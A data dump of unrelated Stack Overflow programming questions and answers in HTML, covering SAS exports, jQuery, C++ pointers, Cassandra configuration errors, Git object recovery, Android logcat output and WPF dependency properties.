19186457	0	 <p>I agree this is a bad idea, but here is another possible solution;</p> <pre><code>data big; cust_id = 1; retain var1-var20000 0; run; data temp/view=temp; set big(keep=cust_id var1-var10000); run; proc export data=temp outfile='c:\temp\file1.csv' dbms=csv replace; run; data temp/view=temp; set big(keep=cust_id var10001-var20000); run; proc export data=temp outfile='c:\temp\file2.csv' dbms=csv replace; run; </code></pre> <p>To control the variables written, just change the view definition however you need. You originally asked about creating five CSVs, this creates two.</p> <p>You have to use a view because <code>PROC EXPORT</code> does not respect KEEP or DROP data set options. I don't think using a macro to do something like this is a good idea unless you are very sure you know what you are doing AND you need to run it multiple times with different scenarios.</p>
14966855	0	 <p>As far as I know, you need to attach an article to a category to view it.</p> <p>You can assign the article to a category. After that open an article from that category and replace the text after the last "/" in url with the alias of your article.</p> <p>You can also assign the article to a category that is linked to a menu item. that way you will be able to see the article link in the menu. </p> <p>You may later remove the article from the category.</p>
39885290	0	 <p>Here is a simple example of how to copy values from an input to another html tag:</p> <pre><code>&lt;input id="myInput" type="text" value="waffles" /&gt; &lt;button type="button" onclick="$('#copiedValue').html($('#myInput').val())"&gt;Copy value&lt;/button&gt; &lt;span id="copiedValue"&gt;&lt;/span&gt; </code></pre> <p>The jQuery is all in <code>onclick</code> which pulls the value from the input using <code>$('#myInput').val()</code> and supplies that value as an argument to replace the html contents of the span <code>$('#copiedValue').html(...)</code>.</p> <p>Here is a jsfiddle with the working code: <a href="https://jsfiddle.net/njacwybg/" rel="nofollow">https://jsfiddle.net/njacwybg/</a></p>
4632709	0	 <p>As said, a reference to a pointer to Class.</p> <ul> <li>you pass a <code>Class *</code> to the function</li> <li>the function may change the pointer to a different one</li> </ul> <p>This is a rather uncommon interface, <strong>you need more details</strong> to know what pointers are expected, and what you have to do with them.</p> <p>Two examples:</p> <p><strong>Iteration</strong> </p> <pre><code>bool GetNext(Classs *&amp; class) { if (class == 0) { class = someList.GetFirstObject(); return true; } class = somePool.GetObjectAbove(class); // get next return class != 0; } // Use for oterating through items: Class * value = 0; while (GetNext(value)) Handle(value); </code></pre> <p><strong>Something completely different</strong></p> <pre><code>void function (Class *&amp; obj) { if (IsFullMoon()) { delete obj; obj = new Class(GetMoonPos()); } } </code></pre> <p>In that case, the pointer you pass must be new-allocated, and the pointer you receive you need to pass either to <code>function</code> again, or be <code>delete</code>'d by you.</p>
2692829	0	HTTP Response 412 - can you include content? <p>I am building a RESTful data store and leveraging Conditional GET and PUT. During a conditional PUT the client can include the Etag from a previous GET on the resource and if the current representation doesn't match the server will return the HTTP status code of 412 (Precondition Failed). Note this is an Atom based server/protocol.</p> <p>My question is, when I return the 412 status can I also include the new representation of the resource or must the user issue a new GET? The HTTP spec doesn't seem to say yes or no and neither does the Atom spec (although their example shows an empty entity body on the response). It seems pretty wasteful not to return the new representation and make the client specifically GET it. Thoughts?</p>
14098868	0	 <pre><code>&lt;script type="text/javascript"&gt; {literal} $(function(){ $( "#ds" ).datepicker({ dateFormat: "dd-mm-yy" }); }); {/literal} &lt;/script&gt; </code></pre> <p>correction:</p>
35047148	0	When runtime modifications are written to Edits log file in Name Node, is the Edits Log file getting updated on RAM or Local Disk <p>When run-time modifications are written to Edits log file in Name Node, is the Edits Log file getting updated on RAM or Local Disk</p>
4510418	0	 <pre><code>String urldisplay="http://www.google.com/";//sample url Log.d("url_dispaly",urldisplay); try{ InputStream in = new java.net.URL(urldisplay).openStream(); Bitmap mIcon11 = BitmapFactory.decodeStream(new SanInputStream(in)); } catch(Exception e){} </code></pre> <p>Create class name SanInputStream</p> <pre><code>public class SanInputStream extends FilterInputStream { public SanInputStream(InputStream in) { super(in); } public long skip(long n) throws IOException { long m = 0L; while (m &lt; n) { long _m = in.skip(n-m); if (_m == 0L) break; m += _m; } return m; } } </code></pre>
10762744	0	 <p>Why make it so complex? Just declare the width and leave it at that:</p> <pre><code>#resulttbl{ width:100%; } </code></pre> <p>If for some reason that doesn't work, try using <code>!important</code>. If that does work then another rule is taking a higher precedence then the current rule.</p> <pre><code>#resulttbl{ width:100% !important; } </code></pre> <p><strong>update</strong></p> <p>cHao is correct. My answer is really just good advice at this point.</p>
39799979	0	 <p>A very similar answer to @Suever, using a loop and logical matrix rather than cells</p> <pre><code>a = [3 3 5 5 20 20 20 4 4 4 2 2 2 10 10 10 6 6 1 1 1]; vals = unique(a); %find unique values vals = vals(randperm(length(vals))); %shuffle vals matrix aout = []; %initialize output matrix for ii = 1:length(vals) aout = [aout a(a==(vals(ii)))]; %add correct number of each value end </code></pre>
26620087	0	 'pathos' provides a fork of python's 'multiprocessing', where 'pathos.multiprocessing' can send a much broader range of the built-in python types across a parallel 'map' and 'pipe' (similar to python's 'map' and 'apply'). 'pathos' also provides a unified interface for parallelism across processors, threads, sockets (using a fork of 'parallelpython'), and across 'ssh'.
21841153	0	 <pre><code>from itertools import chain def shuffle(list1, list2): if len(list1)==len(list2): return list(chain(*zip(list1,list2))) # if the lists are of equal length, chaining the zip will be faster else: a = [] while any([list1,list2]): for lst in (list1,list2): try: a.append(lst.pop(0)) except IndexError: pass return a # otherwise, so long as there's items in both list1 and list2, pop the # first index of each (ignoring IndexError since one might be empty) # in turn and append that to a, returning the value when both lists are # empty. </code></pre> <p>This is not the recursive solution you were looking for, but an explicit one is generally faster and easier to read and debug anyway. @DSM pointed out that this is likely a homework question, so I apologize for misreading. I'll go ahead and leave this up in case it's enlightening to anyone.</p>
23569592	0	Lint does not find an Activity from a Library <p>I have a library project (in ADT) containing an Activity.</p> <p>This library is used by a project that uses this Activity.</p> <p>All this works perfectly well. The Activity is declared in the main project's manifest, it compiles, it runs, it does everything I need.</p> <p>All the compilation, library linking, lint checking happens in stock ADT without the help of anything else. (no maven, no ant, no makefile)</p> <p>However, when I run lint on the project, it complains that</p> <blockquote> <p>Class referenced in the manifest, com.test.library.LibraryActivity, was not found in the project or the libraries</p> </blockquote> <p>Which is incorrect, since it compiles and run.</p> <p>I have cleaned, removed the lint markers, deleted the lint.xml file, restarted ADT, still the same issue.</p> <p>I would like to have a proper full lint check before releasing. Any idea?</p> <h2>Edit</h2> <p>I have been doing more testing, and apparently command line <code>lint MyProject</code> works, tests library correctly</p>
20947917	0	Missing architecture x86_64 for MediaLibsDemo <p>I am using the following library for connecting to the Red5 server. <a href="https://github.com/slavavdovichenko/MediaLibDemos" rel="nofollow">https://github.com/slavavdovichenko/MediaLibDemos</a>. It gives me the following error. How can I add the missing architecture to the following file? or some other solution?</p> <pre><code>on implementing it, I am getting the following error. ld: warning: ignoring file /private/var/root/Documents/RTMP/RTMP/lib/libav- v9.1965/lib/libavutil.a, missing required architecture x86_64 in file /private/var/root/Documents/RTMP/RTMP/lib/libav-v9.1965/lib/libavutil.a (2 slices) ld: warning: ignoring file /private/var/root/Documents/RTMP/RTMP/lib/libav- v9.1965/lib/libavdevice.a, missing required architecture x86_64 in file /private/var/root/Documents/RTMP/RTMP/lib/libav-v9.1965/lib/libavdevice.a (2 slices) ld: warning: ignoring file /private/var/root/Documents/RTMP/RTMP/lib/libav- v9.1965/lib/libswscale.a, missing required architecture x86_64 in file /private/var/root/Documents/RTMP/RTMP/lib/libav-v9.1965/lib/libswscale.a (2 slices) ld: warning: ignoring file /private/var/root/Documents/RTMP/RTMP/lib/libav- v9.1965/lib/libavformat.a, missing required architecture x86_64 in file /private/var/root/Documents/RTMP/RTMP/lib/libav-v9.1965/lib/libavformat.a (2 slices) ld: warning: ignoring file /private/var/root/Documents/RTMP/RTMP/lib/libav- v9.1965/lib/libavcodec.a, missing required architecture x86_64 in file /private/var/root/Documents/RTMP/RTMP/lib/libav-v9.1965/lib/libavcodec.a (2 slices) ld: warning: ignoring file /private/var/root/Documents/RTMP/RTMP/lib/libav- v9.1965/lib/libavfilter.a, missing required architecture x86_64 in file /private/var/root/Documents/RTMP/RTMP/lib/libav-v9.1965/lib/libavfilter.a (2 slices) ld: warning: ignoring file /var/root/Documents/RTMP/RTMP/lib/MediaLibiOS/MediaLibiOS.a, missing required architecture x86_64 in file /var/root/Documents/RTMP/RTMP/lib/MediaLibiOS/MediaLibiOS.a (3 slices) ld: warning: ignoring file /private/var/root/Documents/RTMP/RTMP/lib/libav- v9.1965/lib/libavresample.a, missing required architecture x86_64 in file /private/var/root/Documents/RTMP/RTMP/lib/libav-v9.1965/lib/libavresample.a (2 slices) ld: warning: ignoring file /var/root/Documents/RTMP/RTMP/lib/CommLibiOS/CommLibiOS.a, missing required architecture x86_64 in file/var/root/Documents/RTMP/RTMP/lib/CommLibiOS/CommLibiOS.a (4 slices) Undefined symbols for architecture x86_64: "_OBJC_CLASS_$_BroadcastStreamClient", referenced from: objc-class-ref in ViewController.o "_OBJC_CLASS_$_RTMPClient", referenced from: objc-class-ref in ViewController.o ld: symbol(s) not found for architecture x86_64 clang: error: linker command failed with exit code 1 (use -v to see invocation) </code></pre>
31630353	0	 <p>how i fix it? my subdomain not is randomically have where the replace for $1 ? cheers</p> <p>RewriteCond %{HTTP_HOST} ^(.<em>).domain.com RewriteRule ^(.</em>)$ <a href="http://domain.com/folder/%1/" rel="nofollow">http://domain.com/folder/%1/</a>$1 [R=301,L]</p>
12924058	0	 <p>One complexity of MIDI files is <a href="http://dogsbodynet.com/fileformats/midi.html#RUNSTATUS" rel="nofollow">Running Status</a>. If there's sequence of messages of the same type and channel (eg all controllers or all notes) then MIDI can save a number of bytes by omitting the status byte. If this didn't use running status then the bytes you would see are:</p> <pre><code>00 B0 79 00 - controller 121: controller reset 00 B0 5B 00 - controller 91: reverb 00 B0 40 00 - controller 64: sustain 00 B0 07 64 - controller 7: volume 00 B0 0A 10 - controller 10: pan 00 90 3E 47 - note message </code></pre> <p>Because all the controller messages are contiguous and are for the same channel, the status byte can be omitted. As soon as there's a change of message type, the status byte has to be added again.</p> <p>If you're trying to make sense of MIDI files then I would recommend using a separate tool such as <a href="https://github.com/vishnubob/python-midi" rel="nofollow">Python-MIDI</a> or <a href="http://www.gnmidi.com/" rel="nofollow">GNMidi</a> as a sanity checker whenever there's a MIDI event you can't make sense of. These can show it as text so you can mimic what it's doing.</p> <p>EDIT: Another gotcha to be aware of is that any MIDI messages that take a length or duration parameter (eg the time in PPQN between events in a MIDI file, or the length of sysex messages or meta events) uses a variable length, so don't assume all the length fields are always a fixed length.</p> <p>Disclaimer: I wrote the MIDI export code in Sibelius 6...</p>
28116016	0	 <p>So my solution is following:</p> <ol> <li>I created an instance.</li> <li>Install the required services on that instance.</li> <li>Created the image from the disk using the steps mentioned on this <a href="https://cloud.google.com/compute/docs/images#create_an_image_from_a_root_persistent_disk" rel="nofollow">link</a>.</li> <li>With that Image created a new template.</li> </ol> <p>The <a href="https://cloud.google.com/compute/docs/startupscript" rel="nofollow">startup scripts</a> will run on instance boots up or restarts. So the only way I found to run it once is the same which you have tired i.e deleting them from metadata. In my setup when using startup scripts I don't reboot the instances I rather delete them and create a new ones if required.</p>
38041813	0	cassandra error after yum update <p>Running CentOS 7.2, I did a yum update, and now I get errors when running cassandra. </p> <pre><code>[idf@node1 conf]$ grep -e 'tracetype_query_ttl' -e 'roles_validity_in_ms' -e 'enable_user_defined_functions' -e 'windows_timer_interval' -e 'enable_user_defined_functions' -e 'roles_validity_in_ms' -e 'role_manager' -e 'batch_size_fail_threshold_in_kb' -e 'tracetype_repair_ttl' cassandra.yaml [idf@node1 conf]$ [idf@node1 ~]$ sudo cassandra -v 2.1.14 </code></pre> <p>The command line shows this. As far as I remember, I did not change the <code>.yaml</code> file. In any event, I reverted to an earlier very similar version that I know was working and I still get the same error. When I search for these variables they aren't even in the <code>.yaml</code> file?</p> <pre><code>[idf@node1 ~]$ sudo cassandra [sudo] password for idf: [idf@node1 ~]$ CompilerOracle: inline org/apache/cassandra/db/AbstractNativeCell.compareTo (Lorg/apache/cassandra/db/composites/Composite;)I CompilerOracle: inline org/apache/cassandra/db/composites/AbstractSimpleCellNameType.compareUnsigned (Lorg/apache/cassandra/db/composites/Composite;Lorg/apache/cassandra/db/composites/Composite;)I CompilerOracle: inline org/apache/cassandra/io/util/Memory.checkBounds (JJ)V CompilerOracle: inline org/apache/cassandra/io/util/SafeMemory.checkBounds (JJ)V CompilerOracle: inline org/apache/cassandra/utils/ByteBufferUtil.compare (Ljava/nio/ByteBuffer;[B)I CompilerOracle: inline org/apache/cassandra/utils/ByteBufferUtil.compare ([BLjava/nio/ByteBuffer;)I CompilerOracle: inline org/apache/cassandra/utils/ByteBufferUtil.compareUnsigned (Ljava/nio/ByteBuffer;Ljava/nio/ByteBuffer;)I CompilerOracle: inline org/apache/cassandra/utils/FastByteOperations$UnsafeOperations.compareTo (Ljava/lang/Object;JILjava/lang/Object;JI)I CompilerOracle: inline org/apache/cassandra/utils/FastByteOperations$UnsafeOperations.compareTo (Ljava/lang/Object;JILjava/nio/ByteBuffer;)I CompilerOracle: inline org/apache/cassandra/utils/FastByteOperations$UnsafeOperations.compareTo (Ljava/nio/ByteBuffer;Ljava/nio/ByteBuffer;)I INFO 19:42:06 Hostname: INFO 19:42:06 Loading settings from file:/home/idf/cassandra.yaml INFO 19:42:06 Node configuration:[authenticator=AllowAllAuthenticator; authorizer=AllowAllAuthorizer; auto_snapshot=true; batch_size_fail_threshold_in_kb=50; batch_size_warn_threshold_in_kb=5; batchlog_replay_throttle_in_kb=1024; cas_contention_timeout_in_ms=1000; client_encryption_options=&lt;REDACTED&gt;; cluster_name=Test Cluster; column_index_size_in_kb=64; commit_failure_policy=stop; commitlog_directory=/var/lib/cassandra/commitlog; commitlog_segment_size_in_mb=32; commitlog_sync=periodic; commitlog_sync_period_in_ms=10000; compaction_large_partition_warning_threshold_mb=100; compaction_throughput_mb_per_sec=16; concurrent_counter_writes=32; concurrent_reads=32; concurrent_writes=32; counter_cache_save_period=7200; counter_cache_size_in_mb=null; counter_write_request_timeout_in_ms=5000; cross_node_timeout=false; data_file_directories=[/var/lib/cassandra/data]; disk_failure_policy=stop; dynamic_snitch_badness_threshold=0.1; dynamic_snitch_reset_interval_in_ms=600000; dynamic_snitch_update_interval_in_ms=100; enable_user_defined_functions=false; endpoint_snitch=SimpleSnitch; hinted_handoff_enabled=true; hinted_handoff_throttle_in_kb=1024; incremental_backups=false; index_summary_capacity_in_mb=null; index_summary_resize_interval_in_minutes=60; inter_dc_tcp_nodelay=false; internode_compression=all; key_cache_save_period=14400; key_cache_size_in_mb=null; listen_address=10.0.0.60; max_hint_window_in_ms=10800000; max_hints_delivery_threads=2; memtable_allocation_type=heap_buffers; native_transport_port=9042; num_tokens=256; partitioner=org.apache.cassandra.dht.Murmur3Partitioner; permissions_validity_in_ms=2000; range_request_timeout_in_ms=10000; read_request_timeout_in_ms=5000; request_scheduler=org.apache.cassandra.scheduler.NoScheduler; request_timeout_in_ms=10000; role_manager=CassandraRoleManager; roles_validity_in_ms=2000; row_cache_save_period=0; row_cache_size_in_mb=0; rpc_address=10.0.0.60; rpc_keepalive=true; rpc_port=9160; rpc_server_type=sync; saved_caches_directory=/var/lib/cassandra/saved_caches; seed_provider=[{class_name=org.apache.cassandra.locator.SimpleSeedProvider, parameters=[{seeds=127.0.0.1}]}]; server_encryption_options=&lt;REDACTED&gt;; snapshot_before_compaction=false; ssl_storage_port=7001; sstable_preemptive_open_interval_in_mb=50; start_native_transport=true; start_rpc=false; storage_port=7000; thrift_framed_transport_size_in_mb=15; tombstone_failure_threshold=100000; tombstone_warn_threshold=1000; tracetype_query_ttl=86400; tracetype_repair_ttl=604800; trickle_fsync=false; trickle_fsync_interval_in_kb=10240; truncate_request_timeout_in_ms=60000; unlogged_batch_across_partitions_warn_threshold=10; windows_timer_interval=1; write_request_timeout_in_ms=2000] ERROR 19:42:06 Fatal configuration error org.apache.cassandra.exceptions.ConfigurationException: Invalid yaml. Please remove properties [tracetype_query_ttl, roles_validity_in_ms, enable_user_defined_functions, windows_timer_interval, role_manager, batch_size_fail_threshold_in_kb, tracetype_repair_ttl] from your cassandra.yaml at org.apache.cassandra.config.YamlConfigurationLoader$MissingPropertiesChecker.check(YamlConfigurationLoader.java:162) ~[apache-cassandra-2.1.14.jar:2.1.14] at org.apache.cassandra.config.YamlConfigurationLoader.loadConfig(YamlConfigurationLoader.java:115) ~[apache-cassandra-2.1.14.jar:2.1.14] at org.apache.cassandra.config.YamlConfigurationLoader.loadConfig(YamlConfigurationLoader.java:84) ~[apache-cassandra-2.1.14.jar:2.1.14] at org.apache.cassandra.config.DatabaseDescriptor.loadConfig(DatabaseDescriptor.java:161) ~[apache-cassandra-2.1.14.jar:2.1.14] at org.apache.cassandra.config.DatabaseDescriptor.&lt;clinit&gt;(DatabaseDescriptor.java:136) ~[apache-cassandra-2.1.14.jar:2.1.14] at org.apache.cassandra.service.CassandraDaemon.setup(CassandraDaemon.java:168) [apache-cassandra-2.1.14.jar:2.1.14] at org.apache.cassandra.service.CassandraDaemon.activate(CassandraDaemon.java:564) [apache-cassandra-2.1.14.jar:2.1.14] at org.apache.cassandra.service.CassandraDaemon.main(CassandraDaemon.java:653) [apache-cassandra-2.1.14.jar:2.1.14] Invalid yaml. Please remove properties [tracetype_query_ttl, roles_validity_in_ms, enable_user_defined_functions, windows_timer_interval, role_manager, batch_size_fail_threshold_in_kb, tracetype_repair_ttl] from your cassandra.yaml Fatal configuration error; unable to start. See log for stacktrace. </code></pre>
17664302	0	comparing float values in C program gets stuck <p>I am working on an assignment for an embedded software course, but I'm having the strangest problem.</p> <p>Using the code below:</p> <pre><code>void decidePotato(float held) { printf("Deciding Potato, held for %f seconds \n", held); if (held &gt;= 1.99) { printf("Held for more than 1.99s \n", held); returnPotato(); } printf("I evaluated the if statement above \n"); } </code></pre> <p>I get the following output:</p> <pre><code>Deciding Potato, held for 0.010000 seconds </code></pre> <p>I dont even see the "I evaluated the if statement above" message, so the program somehow got stuck evaluating that if statement. And it remains stuck until I reprogram the board How is that even possible?</p>
32776328	0	 <p>That's because the <code>i</code> in your projection is referencing the original item in <code>oldUserEntities</code>, then <code>i.RowKey</code> is modifying the original data.</p> <p>Try this instead (assuming your entity is named <code>UserEntity</code>):</p> <pre><code>var oldUserEntities = userEntities.ToList(); var newUserEntities = userEntities.Select(i =&gt; new UserEntity { RowKey = dict[i.RowKey], // rest of desired properties ... }).ToList(); </code></pre>
23008635	0	How to correctly expose images uploaded by web application? <p>In my Spring MVC web application I have a web form to upload images. These images are stored in a server folder outside web application (say <code>C:\\images</code>).</p> <p>Now I need to load these images in another page, but I don't want to expose the folder as public. I think I need to map the path via a servlet or something similar...</p> <p>Can you help me? Is there some easy way using Spring framework?</p>
18559895	0	 <p>If the file has been staged (it looks like yours was), a snapshot will exist is Git's database. We can get it back!</p> <p>Git stores snapshots internally in the <code>.git/objects/</code> direction in your repository. Each object is stored in a file named for its hash, split into directories by the first 2 characters. Snapshots will exist here until they are either packed into files in <code>.git/objects/pack/</code> (which won't happen to a snapshot that was never part of a commit) or garbage collected (which will eventually happen to your missing file). The hard part will be figuring out which object it is.</p> <p>To find the object, run</p> <pre><code>ls -lRt .git/object </code></pre> <p>to get a list of all objects sorted by last modified time. Here's what my hypothetical repository looks like:</p> <pre><code>$ ls -lRt .git/object .git/objects/22: total 4 -r--r--r-- 1 peter peter 17 Sep 1 11:18 3b7836fb19fdf64ba2d3cd6173c6a283141f78 .git/objects/f7: total 4 -r--r--r-- 1 peter peter 17 Sep 1 11:09 0f10e4db19068f79bc43844b49f3eece45c4e8 .git/objects/54: total 4 -r--r--r-- 1 peter peter 51 Sep 1 11:08 3b9bebdc6bd5c4b22136034a95dd097a57d3dd .git/objects/e8: total 4 -r--r--r-- 1 peter peter 134 Sep 1 11:08 e8417380c89509ec1e5b67c15469547a4489c2 .git/objects/e6: total 4 -r--r--r-- 1 peter peter 15 Sep 1 11:08 9de29bb2d1d6434b8b29ae775ad8c2e48c5391 </code></pre> <p>Run</p> <pre><code>git cat-file -p &lt;hash&gt; </code></pre> <p>on candidate objects until you find the one you're missing. Remember to add the 2 characters from the directory name to the hash. In my case, if I'm interested in the file from 11:09</p> <pre><code>git cat-file -p f70f10 </code></pre> <p>Happy hunting.</p>
34817389	0	 <p><code>mysqli_query()</code> can only execute 1 query, if you want to execute multiple queries, you need:</p> <pre><code>if (mysqli_multi_query($conn, $sql)) { </code></pre>
25337758	0	 <p>Add this line in <code>form2</code> constructor:</p> <pre><code>public Form2() { InitializeComponenet(); picturebox.Image = Image.FromFile(@"D:\img.jpg"); //added } </code></pre>
4179716	0	jQuery - Event for when an attribute of a node changes <p>I have a webpage with an external javascript library, and my own extra code. The external library can't be change. It manipulates dom elements, adds new ones, changes attributes (e.g. <code>src</code> on some <code>&lt;img&gt;</code> nodes, etc.). I am using jQuery. Is there any event handler that is fired when the value of an attribute changes of a node?</p> <p>i.e. is there anyway I can detect (in jQuery) when the <code>src</code> of an <code>&lt;img&gt;</code> is changed (by someone else?)</p>
23304328	0	 <p>Since this specific issue seems to be resolved but it hasn't been addressed in an answer, I'll make the general remark that when trying to debug an error that pops up in the jQuery/jQuery UI/etc files, it's usually not actually an error IN THAT FILE, it's an error in your usage of it that isn't actually breaking until it gets down into jQuery. So you really want to just figure out "what Javascript that I wrote was being run right before that broke?", and start there.</p>
30051602	0	How to display reports in dashboard ms dynamic crm 2015 <p>I have tried webresource and iframe way to display reports in dasboard but screen is blank in 2015 crm.Please find the blog links which i used to display reports:</p> <p><a href="https://reportingondashboard.codeplex.com/SourceControl/latest#ReportControl.html" rel="nofollow">https://reportingondashboard.codeplex.com/SourceControl/latest#ReportControl.html</a></p> <p><a href="http://weblogs.asp.net/pabloperalta/how-to-display-a-report-in-a-dashboard-in-dynamics-crm-2011" rel="nofollow">http://weblogs.asp.net/pabloperalta/how-to-display-a-report-in-a-dashboard-in-dynamics-crm-2011</a></p> <p>I am not able to get it.Please let me know how to display reports in dashboards 2015 ms crm</p>
35961223	0	 <p>Use the <code>file()</code> function in PHP to split each line of the file into an array then set each element of the array equal to it's respective variable. For example:</p> <pre><code>$lines = file('user1.txt'); $firstname = $lines[0]; $lname = $lines[1]; $age = $lines[2]; $gender = $lines[3]; </code></pre>
19550324	0	 <p>!true -> false</p> <p>!!true -> true</p> <p>!!!true -> false</p>
34086082	0	 <p>for time:</p> <pre><code>pattern = ("(\d{2}:\d{2}:\d{2},\d{3}?.*)") </code></pre>
30944846	0	 <p>Something is missing from your question. Your input string cannot have spaces and your output of a double containing spaces is not possible.</p> <pre><code>double result = Convert.ToDouble("555 555 584", CultureInfo.InvariantCulture); </code></pre> <p>Results in:</p> <p>An unhandled exception of type 'System.FormatException' occurred in mscorlib.dll</p> <p>Additional information: Input string was not in a correct format.</p> <p>Try this:</p> <pre><code>string value = Box.Text.Replace(" ", ""); double result = Convert.ToDouble(value, CultureInfo.InvariantCulture); </code></pre>
4942483	0	logcat indicate error? <p>hi now i am create simple andengine application...now my logcat indicate error....what mistake i made for my application.....</p> <pre><code> 02-09 13:05:01.560: ERROR/AndEngine(280): Failed loading Bitmap in AssetTextureSource.AssetPath: ggg 02-09 13:05:01.560: ERROR/AndEngine(280): java.io.FileNotFoundException: ggg 02-09 13:05:01.560: ERROR/AndEngine(280): at android.content.res .AssetManager.openAsset(Native Method) 02-09 13:05:01.560: ERROR/AndEngine(280): at android.content.res .AssetManager.open(AssetManager.java:313) 02-09 13:05:01.560: ERROR/AndEngine(280): at android.content.res .AssetManager.open(AssetManager.java:287) 02-09 13:05:01.560: ERROR/AndEngine(280): at org.anddev.andengine.opengl .texture.source.AssetTextureSource.&lt;init&gt;(AssetTextureSource.java:46) 02-09 13:05:01.560: ERROR/AndEngine(280): at org.anddev .andengine.opengl.texture.region.TextureRegionFactory .createFromAsset(TextureRegionFactory.java:66) 02-09 13:05:01.560: ERROR/AndEngine(280): at org.anddev .andengine.examples.minimal .AndEngineMinimalExample.onLoadResources(AndEngineMinimalExample.java:59) 02-09 13:05:01.560: ERROR/AndEngine(280): at org.anddev.andengine.ui.activity .BaseGameActivity.doResume(BaseGameActivity.java:158) 02-09 13:05:01.560: ERROR/AndEngine(280): at org.anddev.andengine.ui.activity .BaseGameActivity.onWindowFocusChanged(BaseGameActivity.java:83) 02-09 13:05:01.560: ERROR/AndEngine(280): at com.android.internal.policy.impl .PhoneWindow$DecorView.onWindowFocusChanged(PhoneWindow.java:1981) 02-09 13:05:01.560: ERROR/AndEngine(280): at android.view.View .dispatchWindowFocusChanged(View.java:3788) 02-09 13:05:01.560: ERROR/AndEngine(280): at android.view.ViewGroup . dispatchWindowFocusChanged(ViewGroup.java:658) 02-09 13:05:01.560: ERROR/AndEngine(280): at android.view.ViewRoot .handleMessage(ViewRoot.java:1921) 02-09 13:05:01.560: ERROR/AndEngine(280): at android.os.Handler .dispatchMessage(Handler.java:99) 02-09 13:05:01.560: ERROR/AndEngine(280): at android.os.Looper .loop(Looper.java:123) 02-09 13:05:01.560: ERROR/AndEngine(280): at android.app.ActivityThread .main(ActivityThread.java:4627) 02-09 13:05:01.560: ERROR/AndEngine(280): at java.lang.reflect.Method .invokeNative(Native Method) 02-09 13:05:01.560: ERROR/AndEngine(280): at java.lang.reflect.Method .invoke(Method.java:521) 02-09 13:05:01.560: ERROR/AndEngine(280): at com.android.internal.os .ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:868) 02-09 13:05:01.560: ERROR/AndEngine(280): at com.android.internal.os .ZygoteInit.main(ZygoteInit.java:626) 02-09 13:05:01.560: ERROR/AndEngine(280): at dalvik.system .NativeStart.main(Native Method) 02-09 13:05:02.330: ERROR/AndEngine(280): Failed loading Bitmap in AssetTextureSource. AssetPath: ggg 02-09 13:05:02.330: ERROR/AndEngine(280): java.io.FileNotFoundException: ggg 02-09 13:05:02.330: ERROR/AndEngine(280): at android.content.res.AssetManager.openAsset(Native Method) 02-09 13:05:02.330: ERROR/AndEngine(280): at android.content.res .AssetManager.open(AssetManager.java:313) </code></pre>
10705624	0	TeamCity building MSP files <p>For background: I've got quite a nice TeamCity setup; containing a ci build and a release build which uses WiX to build my installers and patch all the version numbers. When I do a new release build, I'd like to automatically create MSP patches against a previous set of installers. I'm thinking either tagged RTM in TeamCity, or as a list of version numbers.</p> <p>The approach I'm leaning towards is creating a separate config and getting the msi artifacts of all the previous builds that fit the criteria (tag or version number). Tag would seem a lot neater, but I can't see anything in the documentation about how you use it?</p> <p>I've got a script to build the MSP patch, but it relies on a PCP file which needs to be edited in ORCA to describe the patch. </p> <ol> <li>In terms of editing the PCP, is there anything else I can use other than the ORCA to edit? I've been looking at moving to the WiX method here: <a href="http://wix.sourceforge.net/manual-wix3/patch_building.htm" rel="nofollow">http://wix.sourceforge.net/manual-wix3/patch_building.htm</a> which looks promising.</li> <li>Does anyone know if you can access artifacts in TeamCity by Tag in the same or another build?</li> <li>Does anyone have any other insights into automatically building/chaining MSP patch files in TeamCity?</li> </ol>
26600737	0	 <p>Once buyer login to their paypal account during checkout, the buyer will be able to see their email and shipping address as shown in the image for PayPal Payment Standard buttons such as buynow, addto cart.</p> <p>If you are using Express checkout Integration, you can use <a href="https://developer.paypal.com/docs/classic/api/merchant/GetExpressCheckoutDetails_API_Operation_NVP/" rel="nofollow noreferrer">GetExpressCheckoutDetails</a> API to retrieve the buyer information and display in the order summary page on your website(not in paypal checkout page). <img src="https://i.stack.imgur.com/XsKkt.jpg" alt="enter image description here"></p>
4251945	0	Symfony Actions Namespacing, or a better way? <p>In Rails, you can organize controllers into folders and keep your structure nice with namespacing. I'm looking for a similar organizational structure in Symfony 1.4.</p> <p>I was thinking of organizing multiple actions.class.php files in an actions folder, but all I came across was using independent action files, one for each action... like this:</p> <pre><code># fooAction.class.php class fooAction extends sfActions { public function executeFoo() { echo 'foo!'; } } </code></pre> <p>But I'd have to develop a whole new routing system in order to fit multiple actions into that file, which is... silly.</p> <p>Really I'm just looking to make Symfony into Rails, (again, silly, but I'm stuck with Symfony for this project) so I'm wondering if there's a better way....?</p> <p>Thanks.</p>
13002233	0	 <p>You were close.</p> <pre><code>a.menuLink:link { color: green; } </code></pre> <p>Was what you intended to achieve. But try this:</p> <pre><code>a.menuLink { color: green; } </code></pre> <p>Would mean a <em><code>a</code> with a classname of <code>menuLink</code></em>, the <code>:link</code> is redundant. </p> <hr> <pre><code>.menuLink a:link </code></pre> <p>Would mean <em><code>a</code> <strong>inside</strong> of an element with a classname of <code>menuLink</code></em>. </p>
13425602	0	 <p>Here's what I would do with what you've given</p> <pre><code>$('span.[class^="cell_"]').each(function(i,v){ // loop through each span with class that starts with cell_ var num = +$(v).attr('class').split('_')[1]; // get the number from the class $(v).css('left',(num * 10) + 'px') // use it to get the px }); </code></pre>
24214469	0	 <p>What's happening is the Dependency Property is getting Registered multiple times under the same name and owner. Dependency Properties are intended to have a single owner, and should be statically instanced. If you don't statically instance them, an attempt will be made to register them for each instance of the control.</p> <p><strong>Make your DependencyProperty declaration static. Change it from:</strong></p> <pre><code> public DependencyProperty SomeStringValueProperty = DependencyProperty.Register("SomeStringValue", typeof(string), typeof(ExampleUserControl)); </code></pre> <p><strong>To:</strong></p> <pre><code>public static DependencyProperty SomeStringValueProperty = DependencyProperty.Register("SomeStringValue", typeof(string), typeof(ExampleUserControl)); </code></pre>
